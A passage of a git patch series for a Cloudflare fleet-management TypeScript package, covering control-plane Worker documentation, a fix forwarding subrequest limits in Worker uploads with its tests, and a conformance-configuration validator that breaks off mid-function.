policy. An exception does not prove an earlier provider or database effect failed to commit. Do not synthesize a newer token. + +Use the per-message [`ack()` and `retry()` APIs](https://developers.cloudflare.com/queues/configuration/javascript-apis/). Unacknowledged batch failures can redeliver other messages; see [batching and retries](https://developers.cloudflare.com/queues/configuration/batching-retries/). Sending a continuation and committing Fleet progress are separate operations. Queue acknowledgement does not replace the database commit or make provider effects exactly once. + +### Move a future executor between Node and Workers + +An executor cutover preserves the deployment resources and durable authority it already manages. It differs from the [tenant physical-isolation cutover](deployment-reference.md#cloudflare-compatibility). Check state and receipt compatibility before moving future operations: + +1. Verify that the destination version can read the existing Fleet schema, records, tokens, and receipts. Preserve the account, Fleet database, immutable resource mappings, trusted specifications, and credential source. +2. Preserve the shared quota database/scope and active export receipt authority. Finish filesystem-backed export operations under their original authority before moving them to a Worker that cannot supply it. +3. Stop new work submission to the source executor and let active calls finish or reach durable outcomes. Confirm lease ownership; a guessed lease timeout is not a drain. Stop the old scheduler and other authorized writers too. +4. Deploy and verify the destination without tenant traffic routes, then enable its job intake. Resume supported claims against Fleet D1. Do not import process-local cursors or rewrite operation state from memory. +5. For rollback, stop Worker intake first. Resume Node execution only with a version that understands the states and receipts already written. Otherwise roll forward with a compatible executor. Never restore an old Fleet snapshot over newer provider effects. + +You can [pause and resume Queue delivery](https://developers.cloudflare.com/queues/configuration/pause-purge/) during the transition. Pausing still allows messages to arrive and expire; it does not terminate an invocation already running. + +### Size the Worker for its workload + +The supported packed configuration is `2026-08-06` without explicit compatibility flags. Cloudflare enables Node compatibility by date from [2026-08-04](https://developers.cloudflare.com/changelog/post/2026-08-04-nodejs-compat-default/). The historical comparison uses `2026-08-03` with `nodejs_compat,no_nodejs_compat_v2`, and with `nodejs_compat`. + +Use Workers Paid for the direct control plane. The operation-specific request bounds below remain distinct from Cloudflare's platform allowance. Check the current [Workers limits](https://developers.cloudflare.com/workers/platform/limits/) and [D1 limits](https://developers.cloudflare.com/d1/platform/limits/) before sizing the host. As checked on 2026-09-09, the Worker bundle limit is 64 MiB uncompressed, memory is 128 MB per isolate, and startup has a one-second limit. Gzip has no platform size limit. Concurrent invocations share isolate memory. + +Inventory reads and audit continuations materialize stored data. Follow the [audit memory/read-cost envelope](#audit-an-account-under-a-request-budget) and [migration recovery and cost boundaries](#recovery-and-cost-boundaries). Provider request budgets and input validation ceilings do not guarantee that a workload fits memory, CPU, or database query limits. + +At commit `308bd39`, the unminified namespace-import fixture measured 3,292,290 raw bytes and 448,465 gzip bytes in the supported and historical configurations, with zero size delta. Its repository regression budgets are 4,128,768 raw bytes and 589,824 gzip bytes: 25% headroom rounded upward to 64 KiB. Reproduce the package checks with `pnpm test:packed-fleet-control`. + +The supported configuration's local startup profile sampled 21.690 ms of active CPU within a 102.108 ms profile window. The workload fixtures completed a 32-record audit, selected late continuations for 1,001 and 10,000 records, and a selected continuation after exact 16 MiB intake. Larger cases seed prior observations and cursors; they do not execute the preceding provider calls. These are dated local observations, not production latency or capacity guarantees. + +The harness does not expose CPU or peak isolate-memory counters. [Local Wrangler does not enforce production runtime limits](https://developers.cloudflare.com/workers/wrangler/configuration/#limits). Its 1,001-record intake made 46 Fleet-binding calls containing 1,038 SQL statements; the 10,000-record intake made 135 calls containing 10,037 statements. Binding calls and SQL statements are different counters. The published D1 query limit and Workers subrequest allowance do not establish how those batch contents are counted here; production query-budget compliance remains unverified. + ## Provision a deployment -Create a backend, durable `FleetStateStore`, validated `DeploymentSpec`, and distinct credentials. `provisionDeployment()` applies this order: +Use the [factory above](#run-the-trusted-control-plane-in-a-worker) in a Worker. For an explicitly composed host, create a backend, durable `FleetStateStore`, validated `DeploymentSpec`, and distinct credentials. `provisionDeployment()` applies this order: 1. Create or resolve the uniquely named D1 database 2. Seed and verify the shared deployment-identity sentinel @@ -355,7 +470,7 @@ An export failure, empty export, size mismatch, or missing integrity metadata pr ## Force decommission when retained inputs are lost -`forceDecommissionDeployment()` removes an ordinary deployment when the host can no longer reconstruct its `DeploymentSpec`. Call it with the persisted tenant and environment key: +The named root export `forceDecommissionDeployment()` removes an ordinary deployment when the trusted host cannot reconstruct its `DeploymentSpec`. It is separate from the curated Worker factory. Call the existing API with the persisted tenant and environment key: ```typescript await forceDecommissionDeployment({ diff --git a/docs/security-threat-model.md b/docs/security-threat-model.md index a3220771..dfe05c98 100644 --- a/docs/security-threat-model.md +++ b/docs/security-threat-model.md @@ -142,6 +142,20 @@ Unset `CLOUDFLARE_CUSTOM_HEADERS` in the provisioning host unless every configur Hardening of the provisioning host itself does not weaken the token, log, pagination, or destructive-scan requirements above. +### Dedicated control-plane Worker + +The dedicated Fleet Worker holds account-level credentials, Fleet and quota D1 bindings, and a private export R2 binding. Never add them to tenant-serving Workers. The curated factory fixes its provider and storage dependencies; it does not authenticate a public handler or authorize a submitted job. + +Restrict job submission and management access to trusted platform principals. Resolve account selection, specifications, credentials, bindings, and provider transports from trusted configuration. A Queue payload must not select those capabilities or a cleanup policy. + +Queue messages carry work claims; Fleet D1 retains operation revisions, leases, resource ownership, and receipts. Duplicate delivery grants no new authority. Use returned continuation tokens without exposing private provider cursors or secrets. A resolved advance can represent a terminal failure; the host must classify that result before reporting success or acknowledging delivery. Queue acknowledgement does not make provider effects exactly once. + +Preserve shared quota scope and export receipt authority across executor changes. Protect provider credentials and host diagnostics independently of durable sanitized results. Another authorized account token can race provider observations; a Fleet lease does not lock out those writers. Destructive attachment checks still need account-wide dispatch-namespace evidence when ordinary provisioning is selected. + +Inventory and audit memory is shared with concurrent invocations in the isolate. Bounded provider work does not bound materialized state or database reads. Follow the [Worker host resource guidance](fleet-control.md#size-the-worker-for-its-workload); local success does not attest production resource-limit compliance. + +The existing root-only force API remains a separate recovery operation. It preserves its Worker/R2 residuals and historical receipts. The reference force consumer needs its own verified runtime/request envelope; the curated publication probe does not prove that broader root consumer. Recover residual resources by their recorded identities after verifying the intermediate force result. + ### One organization per resource set A data-plane Worker serves one organization. Its D1 database, Durable Object namespaces, fleet-owned application R2 buckets, and secrets must not be shared with another organization. A shared audit queue is allowed only behind trusted infrastructure that derives attribution from static deployment bindings; externally authored code receives neither its producer binding nor reusable control-plane credentials. diff --git a/packages/fleet-control/README.md b/packages/fleet-control/README.md index 610ff0f7..83d5918b 100644 --- a/packages/fleet-control/README.md +++ b/packages/fleet-control/README.md @@ -44,7 +44,7 @@ Fleet Control does not install a runtime Wrangler dependency. Keep the selected The `workers/*` entries are deployment artifacts for the platform's own Workers. -Import `createCloudflareControlPlane` from `cloudflare-control-plane` in a dedicated trusted control-plane Worker. Supply direct Fleet and quota D1 bindings, a private export R2 binding, and a host-owned Cloudflare token. Authorize incoming operations before calling the factory's methods. Never expose the token, bindings, or factory to a tenant-serving Worker. Queue delivery tokens identify requested work; durable Fleet state determines whether it can advance. +Import `createCloudflareControlPlane` from `cloudflare-control-plane` in a [dedicated trusted control-plane Worker](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/fleet-control.md#run-the-trusted-control-plane-in-a-worker). Supply direct Fleet and quota D1 bindings, a private export R2 binding, and a host-owned Cloudflare token. Authorize incoming operations before calling the factory's methods. Never expose the token, bindings, or factory to a tenant-serving Worker. Queue delivery tokens identify requested work; durable Fleet state determines whether it can advance. Size inventory and audit workloads for the [documented memory and read-cost envelope](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/fleet-control.md#audit-an-account-under-a-request-budget). A provider-request budget does not establish a memory or CPU bound. From f10379b3599ad85f0b295e93b8b70145a32c113b Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 9 Sep 2026 16:50:25 +0400 Subject: [PATCH 105/169] fix(fleet-control): forward ordinary Worker subrequest limits --- .../ordinary-worker-subrequest-limits.md | 7 ++ packages/fleet-control/README.md | 2 + .../cloudflare-ordinary-worker-operations.ts | 18 +++-- .../fleet-control/src/plain-worker-backend.ts | 7 +- packages/fleet-control/src/types.ts | 5 +- .../wrangler-plain-worker-provisioning-api.ts | 11 ++- ...-api-plain-worker-provisioning-api.test.ts | 54 +++++++++++++++ .../test/fixtures/plain-worker-harnesses.ts | 7 +- .../test/plain-worker-backend.test.ts | 67 ++++++++++++++++++- .../plain-worker-conformance.wrangler.test.ts | 39 +++++++++++ ...gler-plain-worker-provisioning-api.test.ts | 38 +++++++++-- 11 files changed, 237 insertions(+), 18 deletions(-) create mode 100644 .changeset/ordinary-worker-subrequest-limits.md diff --git a/.changeset/ordinary-worker-subrequest-limits.md b/.changeset/ordinary-worker-subrequest-limits.md new file mode 100644 index 00000000..2a4a7852 --- /dev/null +++ b/.changeset/ordinary-worker-subrequest-limits.md @@ -0,0 +1,7 @@ +--- +'@proofoftech/fleet-control': patch +--- + +Forward configured `DeploymentSpec.subrequestLimit` values through ordinary-Worker uploads in the direct Cloudflare and Wrangler adapters, including staged versions. The setting was validated and included in the specification digest but omitted from upload requests. It now accompanies `cpuLimitMs`; an omitted setting remains unspecified. + +Review existing ordinary-Worker subrequest settings when upgrading because those configured values now reach the provider. diff --git a/packages/fleet-control/README.md b/packages/fleet-control/README.md index 83d5918b..c797f495 100644 --- a/packages/fleet-control/README.md +++ b/packages/fleet-control/README.md @@ -58,6 +58,8 @@ Choose a backend from the artifact trust boundary and the provider integration a Construct `CloudflareApiPlainWorkerBackend` with a `CloudflareProvisioningClient` whose options include `plane: 'plain-worker'`, a shared rate coordinator, and a durable `exportStore`. Plain-only clients reject any `dispatchNamespace` key. +Set `cpuLimitMs` and `subrequestLimit` in `DeploymentSpec` to request ordinary-Worker runtime budgets. The direct and Wrangler adapters forward configured values in initial and staged uploads. + Construct `WorkersForPlatformsBackend` with a dispatch namespace, one named shared outbound Worker, and a state-egress root secret. All three values are mandatory. The constructor rejects an incomplete dispatch-native configuration before it can call a provider. `PlainWorkerBackend` is the shared ordinary-Worker core that both built-in ordinary-Worker backends wrap. It is not intended for subclassing outside Fleet Control. diff --git a/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts b/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts index 09a2eb50..1747afbc 100644 --- a/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts +++ b/packages/fleet-control/src/cloudflare-ordinary-worker-operations.ts @@ -53,11 +53,17 @@ export interface OrdinaryWorkerFootprint { export type CloudflareSdk = InstanceType; type StagedOrdinaryWorkerUploadMetadata = VersionCreateParams.Metadata & { - readonly limits?: { readonly cpu_ms: number }; + readonly limits?: { + readonly cpu_ms?: number; + readonly subrequests?: number; + }; }; type OrdinaryWorkerUploadMetadata = | (ScriptUpdateParams.Metadata & { - readonly limits?: { readonly cpu_ms: number }; + readonly limits?: { + readonly cpu_ms?: number; + readonly subrequests?: number; + }; }) | StagedOrdinaryWorkerUploadMetadata; const PREPARED_ORDINARY_WORKER_UPLOAD: unique symbol = Symbol( @@ -355,9 +361,13 @@ export async function prepareOrdinaryWorkerUpload( ? [...intent.compatibilityFlags] : undefined, limits: - intent.limits.cpuMs === undefined + intent.limits.cpuMs === undefined && + intent.limits.subrequests === undefined ? undefined - : { cpu_ms: intent.limits.cpuMs }, + : { + cpu_ms: intent.limits.cpuMs, + subrequests: intent.limits.subrequests, + }, annotations: { 'workers/tag': intent.candidateTag }, }; const metadata: OrdinaryWorkerUploadMetadata = diff --git a/packages/fleet-control/src/plain-worker-backend.ts b/packages/fleet-control/src/plain-worker-backend.ts index 4c9aeff6..4ada0e7f 100644 --- a/packages/fleet-control/src/plain-worker-backend.ts +++ b/packages/fleet-control/src/plain-worker-backend.ts @@ -1320,7 +1320,12 @@ export class PlainWorkerBackend implements ProvisioningBackend { bucketName: binding.bucketName, })), }, - limits: { cpuMs: spec.cpuLimitMs }, + limits: { + cpuMs: spec.cpuLimitMs, + ...(spec.subrequestLimit !== undefined + ? { subrequests: spec.subrequestLimit } + : {}), + }, publicAccess, ...(mode === 'initial' ? { diff --git a/packages/fleet-control/src/types.ts b/packages/fleet-control/src/types.ts index 1ac4b656..98602079 100644 --- a/packages/fleet-control/src/types.ts +++ b/packages/fleet-control/src/types.ts @@ -1454,7 +1454,10 @@ export interface PlainWorkerUploadIntentBase { }[]; }; /** Desired Worker resource limits. */ - readonly limits: { readonly cpuMs: number | undefined }; + readonly limits: { + readonly cpuMs: number | undefined; + readonly subrequests?: number; + }; /** Ordinary Worker public-access mechanics applied by this upload. */ readonly publicAccess: { readonly workersDevEnabled: boolean; diff --git a/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts b/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts index 8926228b..d24e15e3 100644 --- a/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts +++ b/packages/fleet-control/src/wrangler-plain-worker-provisioning-api.ts @@ -517,9 +517,14 @@ export class WranglerPlainWorkerProvisioningApi binding: binding.name, bucket_name: binding.bucketName, })), - limits: intent.limits.cpuMs - ? { cpu_ms: intent.limits.cpuMs } - : undefined, + limits: + intent.limits.cpuMs === undefined && + intent.limits.subrequests === undefined + ? undefined + : { + cpu_ms: intent.limits.cpuMs, + subrequests: intent.limits.subrequests, + }, }), ); const secretsPath = join(directory, 'wrangler.secrets.json'); diff --git a/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts b/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts index 7734fab5..976b9f16 100644 --- a/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts +++ b/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts @@ -146,6 +146,60 @@ function outcomeOperations( } describe('CloudflareApiPlainWorkerProvisioningApi', () => { + it.each( + (['initial', 'staged'] as const).flatMap((mode) => + [ + { + label: 'neither limit', + limits: { cpuMs: undefined }, + wireLimits: undefined, + }, + { + label: 'CPU only', + limits: { cpuMs: 30_000 }, + wireLimits: { cpu_ms: 30_000 }, + }, + { + label: 'subrequests only', + limits: { cpuMs: undefined, subrequests: 500 }, + wireLimits: { subrequests: 500 }, + }, + { + label: 'both limits', + limits: { cpuMs: 30_000, subrequests: 500 }, + wireLimits: { cpu_ms: 30_000, subrequests: 500 }, + }, + ].map((limits) => ({ mode, ...limits })), + ), + )('serializes $label in $mode upload metadata', async ({ + mode, + limits, + wireLimits, + }) => { + const world = emptyScriptWorld({ enabled: true, previewsEnabled: false }); + const { api, fixture } = subject(restProjection(world)); + + await expect( + api.uploadCandidate({ ...uploadIntent(mode), limits }, ownedFence()), + ).resolves.toEqual({ + status: 'succeeded', + cleanup: { status: 'succeeded' }, + }); + const uploads = fixture.requests.filter( + ({ method, url }) => + method === (mode === 'initial' ? 'PUT' : 'POST') && + new URL(url).pathname === + `/client/v4/accounts/account/workers/scripts/acme-production${mode === 'initial' ? '' : '/versions'}`, + ); + expect(uploads).toHaveLength(1); + expect(uploads[0]?.body).toHaveProperty('metadata'); + if (wireLimits === undefined) { + expect(uploads[0]?.body).not.toHaveProperty('metadata.limits'); + } else { + expect(uploads[0]?.body).toHaveProperty('metadata.limits', wireLimits); + } + }); + it('projects the REST world through the provider-neutral read port', async () => { const world = providerWorld(); world.seedDatabase('acme-production', { databaseId: 'database-1' }); diff --git a/packages/fleet-control/test/fixtures/plain-worker-harnesses.ts b/packages/fleet-control/test/fixtures/plain-worker-harnesses.ts index 004f7234..c918e98e 100644 --- a/packages/fleet-control/test/fixtures/plain-worker-harnesses.ts +++ b/packages/fleet-control/test/fixtures/plain-worker-harnesses.ts @@ -177,7 +177,12 @@ export function uploadIntentForSpec( : [], r2Buckets: [], }, - limits: { cpuMs: spec.cpuLimitMs }, + limits: { + cpuMs: spec.cpuLimitMs, + ...(spec.subrequestLimit !== undefined + ? { subrequests: spec.subrequestLimit } + : {}), + }, publicAccess: { workersDevEnabled: true, previewUrlsEnabled: false, diff --git a/packages/fleet-control/test/plain-worker-backend.test.ts b/packages/fleet-control/test/plain-worker-backend.test.ts index fdaf8295..88a9beca 100644 --- a/packages/fleet-control/test/plain-worker-backend.test.ts +++ b/packages/fleet-control/test/plain-worker-backend.test.ts @@ -167,11 +167,14 @@ function ownedVersion(id: string, deployment = spec): PlainWorkerVersionDetail { }; } -function installOnUpload(api: PlainWorkerProvisioningApiFake): void { +function installOnUpload( + api: PlainWorkerProvisioningApiFake, + deployment = spec, +): void { api.onUploadCandidate = (intent) => { api.versions.set(intent.scriptName, [ ...(api.versions.get(intent.scriptName) ?? []), - ownedVersion('candidate'), + ownedVersion('candidate', deployment), ]); if (intent.mode === 'initial') { api.deployments.set(intent.scriptName, { @@ -844,6 +847,66 @@ describe('PlainWorkerBackend core policy', () => { expect(api.events).toEqual(['port-assert']); }); + it.each( + (['initial', 'staged'] as const).flatMap((mode) => + [ + { + label: 'neither limit', + specLimits: {}, + intentLimits: { cpuMs: undefined }, + }, + { + label: 'CPU only', + specLimits: { cpuLimitMs: 30_000 }, + intentLimits: { cpuMs: 30_000 }, + }, + { + label: 'subrequests only', + specLimits: { subrequestLimit: 500 }, + intentLimits: { cpuMs: undefined, subrequests: 500 }, + }, + { + label: 'both limits', + specLimits: { cpuLimitMs: 30_000, subrequestLimit: 500 }, + intentLimits: { cpuMs: 30_000, subrequests: 500 }, + }, + ].map((limits) => ({ mode, ...limits })), + ), + )('forwards $label to the shared $mode upload intent', async ({ + mode, + specLimits, + intentLimits, + }) => { + const deployment = { ...spec, ...specLimits } satisfies DeploymentSpec; + const api = new PlainWorkerProvisioningApiFake(); + if (mode === 'staged') { + api.versions.set(deployment.scriptName, [ + ownedVersion('current', deployment), + ]); + api.deployments.set(deployment.scriptName, { + versions: [{ versionId: 'current', percentage: 100 }], + }); + } + installOnUpload(api, deployment); + const upload = vi.spyOn(api, 'uploadCandidate'); + + await expect( + backend(api).deployWorker( + deployment, + database, + secrets, + undefined, + mutationFence(), + ), + ).resolves.toEqual({ + artifactVersion: 'candidate', + created: mode === 'initial', + }); + expect(upload).toHaveBeenCalledOnce(); + expect(upload.mock.calls[0]?.[0].mode).toBe(mode); + expect(upload.mock.calls[0]?.[0].limits).toStrictEqual(intentLimits); + }); + it('separates initial and staged upload intents and refuses staged migrations', async () => { const initialApi = new PlainWorkerProvisioningApiFake(); let initialIntent: PlainWorkerUploadIntent | undefined; diff --git a/packages/fleet-control/test/plain-worker-conformance.wrangler.test.ts b/packages/fleet-control/test/plain-worker-conformance.wrangler.test.ts index 4afb91d3..0370e6e1 100644 --- a/packages/fleet-control/test/plain-worker-conformance.wrangler.test.ts +++ b/packages/fleet-control/test/plain-worker-conformance.wrangler.test.ts @@ -56,6 +56,45 @@ describePlainWorkerConformance('Wrangler loop', (world?: ProviderWorld) => { }); describe('provider projection equivalence', () => { + it.each( + (['initial', 'staged'] as const).flatMap((mode) => + [ + { + label: 'neither limit', + specLimits: {}, + expected: { cpuMs: undefined }, + }, + { + label: 'CPU only', + specLimits: { cpuLimitMs: 25 }, + expected: { cpuMs: 25 }, + }, + { + label: 'subrequests only', + specLimits: { subrequestLimit: 500 }, + expected: { cpuMs: undefined, subrequests: 500 }, + }, + { + label: 'both limits', + specLimits: { cpuLimitMs: 25, subrequestLimit: 500 }, + expected: { cpuMs: 25, subrequests: 500 }, + }, + ].map((limits) => ({ mode, ...limits })), + ), + )('preserves $label in conformance $mode upload limits', ({ + mode, + specLimits, + expected, + }) => { + expect( + uploadIntentForSpec( + buildPlainWorkerSpec(specLimits), + '00000000-0000-4000-8000-000000000001', + mode, + ).limits, + ).toStrictEqual(expected); + }); + it('writes identical raw bindings for one shared upload intent', async () => { const cliWorld = providerWorld(); const restWorld = providerWorld(); diff --git a/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts b/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts index 8aee71de..288d92f0 100644 --- a/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts +++ b/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts @@ -711,10 +711,36 @@ describe('WranglerPlainWorkerProvisioningApi parsing', () => { }); describe('WranglerPlainWorkerProvisioningApi mutations', () => { - it.each([ - 'initial', - 'staged', - ] as const)('writes the exact %s config, secret mode, and argv', async (mode) => { + it.each( + (['initial', 'staged'] as const).flatMap((mode) => + [ + { + label: 'neither limit', + limits: { cpuMs: undefined }, + wireLimits: undefined, + }, + { + label: 'CPU only', + limits: { cpuMs: 25 }, + wireLimits: { cpu_ms: 25 }, + }, + { + label: 'subrequests only', + limits: { cpuMs: undefined, subrequests: 500 }, + wireLimits: { subrequests: 500 }, + }, + { + label: 'both limits', + limits: { cpuMs: 25, subrequests: 500 }, + wireLimits: { cpu_ms: 25, subrequests: 500 }, + }, + ].map((limits) => ({ mode, ...limits })), + ), + )('writes the exact $mode config with $label, secret mode, and argv', async ({ + mode, + limits, + wireLimits, + }) => { let config: unknown; let secretMode: number | undefined; const runner = new FakeRunner(async (arguments_) => { @@ -738,7 +764,7 @@ describe('WranglerPlainWorkerProvisioningApi mutations', () => { return { stdout: '', stderr: '' }; }); const outcome = await (await api(runner)).uploadCandidate( - uploadIntent(mode), + { ...uploadIntent(mode), limits }, mutationFence(), ); expect(outcome).toEqual({ @@ -773,7 +799,7 @@ describe('WranglerPlainWorkerProvisioningApi mutations', () => { } : {}), r2_buckets: [{ binding: 'BUCKET', bucket_name: 'bucket-name' }], - limits: { cpu_ms: 25 }, + ...(wireLimits === undefined ? {} : { limits: wireLimits }), }); await expectUploadScratchRemoved(); }); From ef0a5e2d343a3dc5a60ae049018011c33c0a8247 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 9 Sep 2026 17:21:59 +0400 Subject: [PATCH 106/169] test(fleet-control): define direct conformance configuration --- ...rect-credentialed-conformance-config.d.mts | 64 +++++ ...direct-credentialed-conformance-config.mjs | 255 +++++++++++++++++ ...rect-credentialed-conformance.example.json | 35 +++ ...ct-credentialed-conformance-config.test.ts | 267 ++++++++++++++++++ 4 files changed, 621 insertions(+) create mode 100644 packages/fleet-control/scripts/direct-credentialed-conformance-config.d.mts create mode 100644 packages/fleet-control/scripts/direct-credentialed-conformance-config.mjs create mode 100644 packages/fleet-control/scripts/direct-credentialed-conformance.example.json create mode 100644 packages/fleet-control/test/direct-credentialed-conformance-config.test.ts diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-config.d.mts b/packages/fleet-control/scripts/direct-credentialed-conformance-config.d.mts new file mode 100644 index 00000000..876fe5d1 --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-conformance-config.d.mts @@ -0,0 +1,64 @@ +// SPDX-License-Identifier: Apache-2.0 + +export const DIRECT_CONFORMANCE_CONTRACT_VERSION: 1; + +export interface DirectArtifactIntent { + readonly bundle: string; + readonly mainModule: string; + readonly sha256: string; +} + +export interface DirectRuntimeIntent { + readonly artifact: DirectArtifactIntent; + readonly compatibilityDate: string; + readonly compatibilityFlags: readonly [] | readonly ['nodejs_compat']; + readonly cpuLimitMs: number; + readonly subrequestLimit: number; +} + +export interface DirectConformanceConfig { + readonly contractVersion: 1; + readonly disposableAccount: boolean; + readonly resourcePrefix: string; + readonly environment: string; + readonly ownedHostname: string; + readonly referenceWorker: DirectRuntimeIntent & + Readonly<{ + requestTimeoutMs: number; + invocationTimeoutMs: number; + maxProviderRequests: number; + maxInvocations: number; + }>; + readonly deployment: DirectRuntimeIntent & + Readonly<{ + spec: Readonly<{ fixtureVersion: 1 }>; + }>; + readonly interruption: 'after-migration-admission'; +} + +export interface DirectDeploymentNames { + readonly tenantTag: string; + readonly scriptName: string; + readonly databaseName: string; + readonly routeHostname: string; +} + +export interface DirectConformanceNames { + readonly referenceWorker: string; + readonly fleetDatabase: string; + readonly quotaDatabase: string; + readonly exportBucket: string; + readonly referenceHostname: string; + readonly roles: Readonly< + Record<'a' | 'b' | 'recovery', DirectDeploymentNames> + >; +} + +export function validateDirectConformanceConfig( + value: unknown, + options?: Readonly<{ now?: number }>, +): DirectConformanceConfig; + +export function deriveDirectConformanceNames( + config: Pick, +): DirectConformanceNames; diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-config.mjs b/packages/fleet-control/scripts/direct-credentialed-conformance-config.mjs new file mode 100644 index 00000000..2af0252c --- /dev/null +++ b/packages/fleet-control/scripts/direct-credentialed-conformance-config.mjs @@ -0,0 +1,255 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { + DEPLOYMENT_TAG_PATTERN, + isDeploymentEnvironment, +} from '@proofoftech/flowsafe/deployment-identity-protocol'; +import { isPortablePathSegment } from '../src/export-file-name.ts'; +import { cloneBoundedPlainData } from '../src/strict-plain-data.ts'; + +export const DIRECT_CONFORMANCE_CONTRACT_VERSION = 1; + +const PREFIX = /^fc[a-f0-9]{24}$/u; +const DIGEST = /^[a-f0-9]{64}$/u; +const DATE = /^\d{4}-\d{2}-\d{2}$/u; +const DNS_LABEL = /^[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$/u; +const RUNTIME_KEYS = [ + 'artifact', + 'compatibilityDate', + 'compatibilityFlags', + 'cpuLimitMs', + 'subrequestLimit', +]; + +function invalid(field) { + return new Error(`direct conformance config has invalid ${field}`); +} + +function object(value, keys, field) { + if ( + !value || + typeof value !== 'object' || + Array.isArray(value) || + Object.keys(value).length !== keys.length || + keys.some((key) => !Object.hasOwn(value, key)) + ) + throw invalid(field); + return value; +} + +function string(value, field) { + if (typeof value !== 'string' || value.length === 0 || value.includes('\0')) + throw invalid(field); + return value; +} + +function integer(value, maximum, field) { + if (!Number.isSafeInteger(value) || value < 1 || value > maximum) + throw invalid(field); + return value; +} + +function hostname(value, field) { + const host = string(value, field); + const labels = host.split('.'); + if ( + host.length > 253 || + labels.length < 2 || + labels.some((label) => !DNS_LABEL.test(label)) || + !/[a-z]/u.test(host) + ) + throw invalid(field); + let url; + try { + url = new URL(`https://${host}`); + } catch { + throw invalid(field); + } + if (url.hostname !== host) throw invalid(field); + return host; +} + +function artifact(value, field) { + const input = object(value, ['bundle', 'mainModule', 'sha256'], field); + const bundle = string(input.bundle, `${field}.bundle`); + const mainModule = string(input.mainModule, `${field}.mainModule`); + if ( + mainModule.length > 255 || + !isPortablePathSegment(mainModule) || + !/\.m?js$/u.test(mainModule) + ) + throw invalid(`${field}.mainModule`); + if (typeof input.sha256 !== 'string' || !DIGEST.test(input.sha256)) + throw invalid(`${field}.sha256`); + return Object.freeze({ bundle, mainModule, sha256: input.sha256 }); +} + +function runtime(input, field, today) { + const date = string(input.compatibilityDate, `${field}.compatibilityDate`); + let actualDate; + try { + actualDate = new Date(`${date}T00:00:00.000Z`).toISOString().slice(0, 10); + } catch { + throw invalid(`${field}.compatibilityDate`); + } + if ( + !DATE.test(date) || + actualDate !== date || + date < '2026-08-04' || + date > today + ) + throw invalid(`${field}.compatibilityDate`); + const flags = input.compatibilityFlags; + if ( + !Array.isArray(flags) || + !( + flags.length === 0 || + (flags.length === 1 && flags[0] === 'nodejs_compat') + ) + ) + throw invalid(`${field}.compatibilityFlags`); + return { + artifact: artifact(input.artifact, `${field}.artifact`), + compatibilityDate: date, + compatibilityFlags: Object.freeze([...flags]), + cpuLimitMs: integer(input.cpuLimitMs, 300_000, `${field}.cpuLimitMs`), + subrequestLimit: integer( + input.subrequestLimit, + 10_000_000, + `${field}.subrequestLimit`, + ), + }; +} + +export function deriveDirectConformanceNames(config) { + const prefix = string(config.resourcePrefix, 'resourcePrefix'); + if (!PREFIX.test(prefix)) throw invalid('resourcePrefix'); + const ownedHostname = hostname(config.ownedHostname, 'ownedHostname'); + const roles = {}; + for (const [role, suffix] of [ + ['a', 'a'], + ['b', 'b'], + ['recovery', 'r'], + ]) { + const tenantTag = `${prefix}${suffix}`; + if (!DEPLOYMENT_TAG_PATTERN.test(tenantTag)) + throw invalid('derived tenant tag'); + const name = `${prefix}-${role}`; + roles[role] = Object.freeze({ + tenantTag, + scriptName: name, + databaseName: name, + routeHostname: hostname(`${name}.${ownedHostname}`, 'derived hostname'), + }); + } + return Object.freeze({ + referenceWorker: `${prefix}-reference`, + fleetDatabase: `${prefix}-fleet`, + quotaDatabase: `${prefix}-quota`, + exportBucket: `${prefix}-exports`, + referenceHostname: hostname( + `${prefix}-reference.${ownedHostname}`, + 'derived reference hostname', + ), + roles: Object.freeze(roles), + }); +} + +export function validateDirectConformanceConfig(value, options = {}) { + const input = object( + cloneBoundedPlainData(value, { + maxDepth: 8, + maxNodes: 512, + maxScalarBytes: 256 * 1024, + maxSerializedBytes: 256 * 1024, + error: () => invalid('plain JSON data'), + }), + [ + 'contractVersion', + 'disposableAccount', + 'resourcePrefix', + 'environment', + 'ownedHostname', + 'referenceWorker', + 'deployment', + 'interruption', + ], + 'root', + ); + if (input.contractVersion !== DIRECT_CONFORMANCE_CONTRACT_VERSION) + throw invalid('contractVersion'); + if (typeof input.disposableAccount !== 'boolean') + throw invalid('disposableAccount'); + const environment = string(input.environment, 'environment'); + if (!isDeploymentEnvironment(environment)) throw invalid('environment'); + if (input.interruption !== 'after-migration-admission') + throw invalid('interruption'); + let today; + try { + today = new Date(options.now ?? Date.now()).toISOString().slice(0, 10); + } catch { + throw invalid('clock'); + } + const reference = object( + input.referenceWorker, + [ + ...RUNTIME_KEYS, + 'requestTimeoutMs', + 'invocationTimeoutMs', + 'maxProviderRequests', + 'maxInvocations', + ], + 'referenceWorker', + ); + const referenceRuntime = runtime(reference, 'referenceWorker', today); + if (referenceRuntime.artifact.mainModule === 'direct-run-manifest.js') + throw invalid('referenceWorker.artifact.mainModule'); + const maxProviderRequests = integer( + reference.maxProviderRequests, + 1_000, + 'referenceWorker.maxProviderRequests', + ); + if (maxProviderRequests < 9) + throw invalid('referenceWorker.maxProviderRequests'); + const deployment = object( + input.deployment, + 